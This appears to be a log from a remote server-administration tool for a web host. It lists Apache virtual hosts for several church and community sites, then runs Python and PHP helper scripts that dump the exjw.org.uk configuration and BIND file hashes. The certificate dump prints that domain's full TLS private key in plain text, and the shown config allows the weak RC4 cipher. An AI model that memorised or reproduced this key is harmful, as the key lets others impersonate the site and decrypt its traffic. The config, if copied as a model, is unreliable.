port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-03 19:29:20:
PUT: /tmp/pkp521242
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/exjw_www_org-uk.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:29:20:
chmod 755 /tmp/pkp521242; /tmp/pkp521242; rm /tmp/pkp521242
2026-01-03 19:29:20:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/exjw_www_org-uk.conf 1259
<VirtualHost *:80>
ServerName exjw.org.uk
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/exjw_www
<Directory /var/www/exjw_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/exjw/www_access.log combined
ErrorLog /var/log/apache2/exjw/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName exjw.org.uk
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
DocumentRoot /var/www/exjw_www
<Directory /var/www/exjw_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/exjw/www_secure_access.log combined
ErrorLog /var/log/apache2/exjw/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-03 19:29:20:
PUT: /tmp/pkp579060
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:29:20:
chmod 755 /tmp/pkp579060; /tmp/pkp579060; rm /tmp/pkp579060
2026-01-03 19:29:20:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt 5352
8e:a4:5b:c1:5e:a5:0b:75:f6:c8:8e:77:fb:f1:ca:7e
-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBjsKLg+NTfW/tJPxaisc5sTXMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI3MTI1NzIyWhcNMjYwMzI3MTI1NzIxWjAWMRQwEgYDVQQD
EwtleGp3Lm9yZy51azCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANs8
CSAEfd3NjyDaRWhoqHCmnZmlFnaKfacQaGb/KFelUMhQMWgWGzQmigFyG8e03j8n
Q3yDxi4N/Hgz/QlP6UIsPMANEZ6CAxLhxDN3/EUXZpK/TEcQzce2/14aVLVoLs65
axP/Q/auEYtnE34S7ofqOnX8PlqIcRtlBzVC/yO6IqYRHJu6+NQKYcxUwx6jKXqL
3QyBKee7lvkdRD4in60DecoQjqx74a6YhysBlGfcuYskBzI494SNFVwXkqTVsGna
/f0HW8yDC9ENz/XwagodGdAgnupjUcHR8j1Hp+9/56fer7w5ZRnUxA9ODSoRlFtW
G4mCA45AZUWxknxdtgcCAwEAAaOCAiUwggIhMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUXlA9yPxSvjniiCfUYdLRYJa+UJ8wHwYDVR0jBBgwFoAU56ufDywzoFPTXk94
yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEz
LmkubGVuY3Iub3JnLzAWBgNVHREEDzANggtleGp3Lm9yZy51azATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iu
b3JnLzg4LmNybDCCAQ4GCisGAQQB1nkCBAIEgf8EgfwA+gB3AEmcm2neHXzs/Dbe
zYdkprhbrwqHgBnRVVL76esp3fjDAAABm2AYIo4AAAQDAEgwRgIhAKvsXtgazKMQ
gbc2oBzCdAprdOxswqMtrBKgfkfU0j8XAiEA+xO6Jte0BMrIMgiApXuaLQrvmrvv
WaUKrw7cfEjpCC0AfwClyXiSXVdGF4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAA
AZtgGCVmAAgAAAUALPx7vAQDAEgwRgIhALriMdJVsffjNALQxEptmu1SkUj7714x
kGGIOZzvEtuUAiEAqn4+Si0k2dXiSN+PNholXYH/4kzGgsY60jRXGmjOk1swDQYJ
KoZIhvcNAQELBQADggEBAApyuz1PHVOFJkMtq/nUf5qbXS5n9tOpaVImFSebCcCU
ksyx/0eii4Sdpl4WU2/XUvvPO5ccXvJnn61D3WxD1Ks1sp7RMTem3hVfPJ5exGNt
1z74OuWuRr8Y0N+50yw2pU6sAAdSH8rx8CU6O8qW8luZkA3ojxh1QGm/IwmhRoBo
BMxG950THL3wrVsdoimQw4TBYTnuQZ0oNiLyErwM9fNSCizqmnXBP0HtZqeDBdK8
KlsGKtOiLuFr4ycI6sCz8a3V15TGPFRI+BOIXV9afTr8jK9Uqr3JPeKYo/BuNyC8
X6FtyISbttRc89zOM9WIPJyLnECk/HtXswtFKLvj7Cw=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDbPAkgBH3dzY8g
2kVoaKhwpp2ZpRZ2in2nEGhm/yhXpVDIUDFoFhs0JooBchvHtN4/J0N8g8YuDfx4
M/0JT+lCLDzADRGeggMS4cQzd/xFF2aSv0xHEM3Htv9eGlS1aC7OuWsT/0P2rhGL
ZxN+Eu6H6jp1/D5aiHEbZQc1Qv8juiKmERybuvjUCmHMVMMeoyl6i90MgSnnu5b5
HUQ+Ip+tA3nKEI6se+GumIcrAZRn3LmLJAcyOPeEjRVcF5Kk1bBp2v39B1vMgwvR
Dc/18GoKHRnQIJ7qY1HB0fI9R6fvf+en3q+8OWUZ1MQPTg0qEZRbVhuJggOOQGVF
sZJ8XbYHAgMBAAECggEALvMtdRjhJ6YE9+EmqhR3tiBIcgYDyIEiJawC38PXDOYP
Zcaevg615rY2KdcZEeyvB9FNx5Wk1GoUXl2r29msN4qnu+1Qj6SCKgIFdYxFjzpS
siyblkCIATQ0fh+fcnYMSCM3RkINeP+QLE13xDEjuiG0QV4ysEq2Bkrdf0+IukqV
8T5mNUbqvuNTf9YgjMJ9hUgTqgnRnEVYzvuH8VuZX2mnSM0gKbSk8tZnimgrSM+F
2IeaaRdjknIedewp5W16TRYus6ltz2o9IhcbQuj8OR18FUNLIoywh2rE/ZkQa6gn
PvMOxi01jW/8x0x+uC3Gbn20v0um4qjtYZKTBzHE8QKBgQDx0pMuMsX14hl6PvEG
hi+pIuaS8iQ5WMcIDR+FPTnKHS4zBQRN5EjrKalWgn8S6aKDejMPP5EdffhjuRf1
DBY3kYCgvubGj1/FAiWGQbtBDEsyoWQ6Lq/m46hPZnMaioBAeoPxq1G9HCfrLLyL
pwZb1CSF1sHjDEKd2PSxOFId2QKBgQDoFnH1INVYpASYxTFjDo4gdU+54FUaU575
ZtBdtnrelypH6RnhCvFzZoo0tgNEt6aZp/9qclcShLLYtM7Fms1gP0XrwWrPxjFw
bRl5ntNkA8DYTaC3SnOArlmQTO8cDjhPAKkgEN5lKmPdVJUUpIFjKyt4UDp1yvkz
MkwbzXOm3wKBgETpcS/VIDy1tfT0QtNNIf/dBkAR6Oi+t9k/hCAAFpvWPPglEdjw
mScKtEsG3ReSpNE63ZoWz0/MOiCQ+pbGXv5u5GzqefFTokMOHYto5+fdjQBcpac+
7rmpXqlh1KNXnLzDLR6NZ7mwcF/AW+qgKlu41L+fN5lwQPuie/iUyDHhAoGBAKB+
JP/mXKKXibY7ZxOhFRfNB/z57N/vw5ekSaMEdaNH1a00vPiqoJ204w3gcBItDcBk
NHRf7WaY7TR+lB6CFlPgbXHCpyJXZAji6SL5eiVHkywBQop9qbHq33SyPwefrcC0
LEBIagJ7deOwggdsWy1AxSbGFCcw3XNR7N+tC7TxAoGAE4eFRxtOhWyjzKA0Ln+L
u39sK1yyV7KfaWO+4nJ7RRgPuj5xRuYgq+rlzZe7/dCe3Z5fkvUHW9poTF+MbTFb
Uf93tvPUZLsNVlpY8NfHWnb5EfBCFLd8ewj7o6GBwHnenrnuHDsRDFHMLaAoj9L/
vUYmS16e8uAycdo5IgqJies=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 19:29:20: Establishing a connection
2026-01-03 19:29:20:
PUT: /tmp/pkp951157
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:29:21:
runuser -l bind -s /bin/bash -c '/tmp/pkp951157; rm /tmp/pkp951157'
2026-01-03 19:29:21:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
